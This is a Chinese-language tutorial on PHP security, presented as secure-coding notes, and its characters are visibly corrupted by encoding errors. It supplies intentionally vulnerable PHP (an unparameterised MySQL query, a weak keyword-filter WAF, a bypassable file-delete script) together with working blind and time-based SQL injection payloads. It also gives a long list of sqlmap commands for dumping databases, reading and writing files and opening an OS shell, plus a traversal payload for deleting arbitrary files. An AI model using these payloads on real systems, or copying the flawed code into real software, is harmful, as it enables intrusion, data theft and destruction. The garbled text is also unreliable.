本篇文章給大家?guī)?lái)了關(guān)于PHP安全的相關(guān)知識(shí),其中主要介紹了什么是SQL注入?盲注是怎么使用的?常用檢測(cè)命令有哪些等等,下面一起來(lái)看一下,希望對(duì)需要的朋友有所幫助。
PHP 安全編碼總結(jié)筆記
SQL注入: 代碼中的 HTTP_X_FORWARDED_FOR 地址可以被偽造,而REMOTE_ADDR則相對(duì)更安全,有些應(yīng)用程序會(huì)將對(duì)方IP地址帶入數(shù)據(jù)庫(kù)查詢是否存在,例如同一個(gè)IP每天只能注冊(cè)一個(gè)賬號(hào)等,如果目標(biāo)代碼中使用的是 HTTP_X_FORWARDED_FOR 獲取的IP地址,那么攻擊者就可以通過(guò)修改HTTP包頭實(shí)現(xiàn)SQL注入攻擊。
<?php function get_client_addr(){ if($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"],"unknown")){ $ip = $_SERVER["HTTP_CLIENT_IP"]; echo "HTTP_CLIENT_IP =" . $ip; }else if($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")){ $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; echo "HTTP_X_FORWARDED_FOR =" . $ip; }else if($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")){ $ip = $_SERVER["REMOTE_ADDR"]; echo "REMOTE_ADDR =" . $ip; }else{ $ip = "unknown"; } return $ip; } $addr = get_client_addr(); ?>
SQL注入: 一種使用了過(guò)濾的代碼,接受的參數(shù)經(jīng)過(guò)過(guò)濾,字符串會(huì)被過(guò)濾掉SQL注入的關(guān)鍵字,整數(shù)會(huì)被強(qiáng)制轉(zhuǎn)換為整數(shù)。
<?php $var = date_default_timezone_get(); echo "當(dāng)前時(shí)區(qū): " . $var . "<br>"; date_default_timezone_set("Asia/Shanghai"); if(!get_magic_quotes_gpc()){ $var = waf($_GET['id']); echo "過(guò)濾后的參數(shù): " . $var; } function waf($array){ if(is_array($array)){ foreach ($array as $key => $value) { $array [$key] = waf($value); } }else if(is_string($array)){ $array = addslashes($array); #$array = str_ireplace("and", "fuck", $array); $substr = array( "and" => "fuck you !", "where" => "fuck you !", "union" => "fuck you !", "select" => "fuck you !", "order" => "fuck you !", "update" => "fuck you !", "sleep" => "fuck you !", ); $array = str_ireplace(array_keys($substr), $substr,$array); }else if(is_numeric($array)){ $array = intval($array); } return $array; } ?>
盲注的使用
首先需要簡(jiǎn)單修改上方的源代碼,去掉回顯框,然后修改以下代碼.
<!DOCTYPE html> <html> <head> <meta charset="gbk"> <title>SQL 注入測(cè)試代碼</title> </head> <?php $connect = mysqli_connect("localhost","root","123","lyshark"); if($connect) { $id = $_GET['id']; if(isset($id)) { $sql = "select * from users where id='$id' limit 0,1"; $query = mysqli_query($connect,$sql); $row = mysqli_fetch_array($query); if(!empty($row)) { print("查詢完成了.."); }else { print("查詢失敗"); } } } ?> <body> <?php echo '<hr><b> 后端執(zhí)行SQL語(yǔ)句: </b>' . $sql; ?> </body> </html>
猜數(shù)據(jù)庫(kù)名稱: 盲注也就是程序會(huì)返回兩種狀態(tài),查詢成功與查詢失敗,我們需要自己構(gòu)建判斷條件,常用語(yǔ)句如下.
index.php?id=1' and left(version(),1)=5 --+ // 返回正常,說(shuō)明版本號(hào)是5 index.php?id=1' and (length(database()))=7 --+ // 返回正常,說(shuō)明數(shù)據(jù)庫(kù)名字長(zhǎng)度是7 index.php?id=1' and (left(database(),1))='l' --+ // 返回正常,說(shuō)明數(shù)據(jù)庫(kù)第一位是l index.php?id=1' and (left(database(),2))='ly' --+ // 返回正常,說(shuō)明數(shù)據(jù)庫(kù)前兩位位是ly,以此類推 index.php?id=1' and ord(mid((CAST(database() AS CHAR)),1,1))=108 --+ // 驗(yàn)證第一位是否為l index.php?id=1' and ord(mid((CAST(database() AS CHAR)),2,1))=121 --+ // 驗(yàn)證第二位是否為y,以此類推
猜表名:如果網(wǎng)頁(yè)返回正常,則說(shuō)明存在這個(gè)表,返回不正常說(shuō)明不存在.
index.php?id=1' and (select count(*) from mysql.user) >=0 // 存在mysql.user表 index.php?id=1' and (select count(*) from lyshark) >=0 // 存在lyshark表
猜字段: 如果網(wǎng)頁(yè)返回正常,說(shuō)明存在猜測(cè)的字段,不正常則需要繼續(xù)猜.
index.php?id=1' and (select count(id) from users) >=0 // 返回正常說(shuō)明存在id字段 index.php?id=1' and (select count(name) from users) >=0 // 返回不正常不存在name字段 index.php?id=1' and (select count(*) from lyshark) >=3 #-- // 返回表中記錄數(shù)
用戶名猜測(cè): 通過(guò)正則符號(hào)也可使完成多指定用戶的探測(cè),其他函數(shù)用法相同.
index.php?id=1' and (length(user())) >=14 # // 猜測(cè)數(shù)據(jù)庫(kù)用戶名稱長(zhǎng)度 index.php?id=1' and (select user() like 'root%') # // 猜測(cè)用戶名 index.php?id=1' and (select user() regexp '^[a-z]') # // 猜測(cè)開(kāi)頭a-z index.php?id=1' and (select user() regexp '^r') # // 第一位是r index.php?id=1' and (select user() regexp '^ro') # // 第二位是o index.php?id=1' and (select user() regexp '^root') # // 以此類推猜測(cè)前四位
延時(shí)注入: 通過(guò)sleep(5)延時(shí)的方式,我們同樣可以判斷是否存在注入點(diǎn).
index.php?id=1' and sleep(5) # index.php?id=1' and sleep(5) order by 3 # // 如果是3個(gè)字段,則會(huì)延時(shí)5秒 index.php?id=1' and select if(length(user())=0,sleep(3),1) # //如果user=0則延時(shí)3秒 index.php?id=1' and if(hex(mid(user(),1,1))=100,sleep(3),1) # // 第1個(gè)字符=d則延時(shí)3秒 index.php?id=1' and if(hex(mid(user(),1,1))=118,sleep(3),1) # // 第2個(gè)字符=v則延時(shí)3秒
◆sqlmap 命令◆
常用檢測(cè)命令:
sqlmap -u "./index.php?id=1" -v 3 # 顯示攻擊載荷 sqlmap -u "./index.php?id=1" --level=3 # 指定探測(cè)級(jí)別 sqlmap -u "./index.php?id=1" --privileges # 測(cè)試所有用戶權(quán)限 sqlmap -u "./index.php?id=1" --privileges root # 測(cè)試root用戶權(quán)限 sqlmap -u "./index.php?id=1" --all # 查詢所有數(shù)據(jù)庫(kù) sqlmap -u "./index.php?id=1" --hostname # 查詢當(dāng)前主機(jī)名 sqlmap -u "./index.php?id=1" --is-dba # 判斷root權(quán)限 sqlmap -u "./index.php?id=1" --users # 枚舉數(shù)據(jù)庫(kù)用戶 sqlmap -u "./index.php?id=1" --random-agent # 隨機(jī)User-Agent sqlmap -u "./index.php?id=1" --output-dir="" # 自定義輸出目錄 sqlmap -u "./index.php?id=1" --file-read="" # 讀取文件 sqlmap -u "./index.php?id=1" --file-write="" # 寫(xiě)入操作 sqlmap -u "./index.php?id=1" --os-cmd="net user" # 執(zhí)行一條命令 sqlmap -u "./index.php?id=1" --os-shell # 交互執(zhí)行命令 sqlmap -u "./index.php?id=1" --sql-query="" # 執(zhí)行的SQL語(yǔ)句 sqlmap -u "./index.php?id=1" --cookie="" # 指定cookie sqlmap -u "./index.php?id=1" --temper="" # 指定過(guò)濾腳本 sqlmap -u "./index.php?id=1" --dbs --delay 1 # 延時(shí)1秒后注入 sqlmap -u "./index.php?id=1" --dbs --safe-freq 3 # 延時(shí)3秒后注入 sqlmap -u "./index.php?id=1" --identify-waf # 測(cè)試是否有WAF sqlmap -u "./index.php?id=1" --current-db # 查詢當(dāng)前數(shù)據(jù)庫(kù) sqlmap -u "./index.php?id=1" --current-user # 查詢當(dāng)前主機(jī)名 sqlmap -u "./index.php?id=1" --users # 查詢所有用戶名 sqlmap -u "./index.php?id=1" --dbs # 列出所有數(shù)據(jù)庫(kù) sqlmap -u "./index.php?id=1" --tables # 列出所有的表 sqlmap -u "./index.php?id=1" -D "mysql" --tables # 獲取mysql庫(kù)中的表 sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns # 獲取mysql.host表列名稱 sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump # 將mysql.host保存到本地 sqlmap -u "./index.php?id=1" -D "mysql" --dump-all # 全部脫褲 sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump
Cookie注入: 當(dāng)level>=2時(shí),使用cookie注入,level >=3 使用User-agent/Referer注入.
sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2 #判斷注入點(diǎn) sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2 #猜數(shù)據(jù)庫(kù)名 sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2 #猜表名稱 sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2 #猜字段 sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --dump --level 2 #猜內(nèi)容
POST注入: 該方法通常是使用抓包工具抓取數(shù)據(jù)包,然后指定字段進(jìn)行測(cè)試即可.
1.瀏覽器打開(kāi)目標(biāo)地址 http://www.xxx.com/index.php
2.配置burp代理(127.0.0.1:8080) 準(zhǔn)備攔截請(qǐng)求
3.點(diǎn)擊login表單的submit按鈕,或者其他按鈕均可
4.這時(shí)候Burp會(huì)攔截到了我們的登錄POST請(qǐng)求
5.把這個(gè)post請(qǐng)求復(fù)制為txt,記錄下其中的 id=1&Submit=Submit
sqlmap -r post.txt -p id --dbs Sqlmap -r post.txt -p id -D mysql --tables Sqlmap -r post.txt -p id -D mysql -T user --columns sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"
其他漏洞利用
任意文件刪除: 執(zhí)行刪除語(yǔ)句http://php.com/?dir=…..////&file=a.txt 完成漏洞利用.
<?php $dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\', '../', './', '.\'), '', urldecode(trim($_GET['dir']))) : ''; $dir = str_replace("-", "/", $dir); $file = isset($_GET['file']) && trim($_GET['file']) ? trim($_GET['file']) : ''; $path = "./" . $dir . "/" . $file; $path = str_replace(array("//"), array("/"), $path); echo "當(dāng)前路徑是: " . $path . "<br>"; if (file_exists($path)) { if (unlink($path)) { echo "刪除完成.."; } else { echo "刪除失敗.."; } } ?>
推薦學(xué)習(xí):《PHP視頻教程》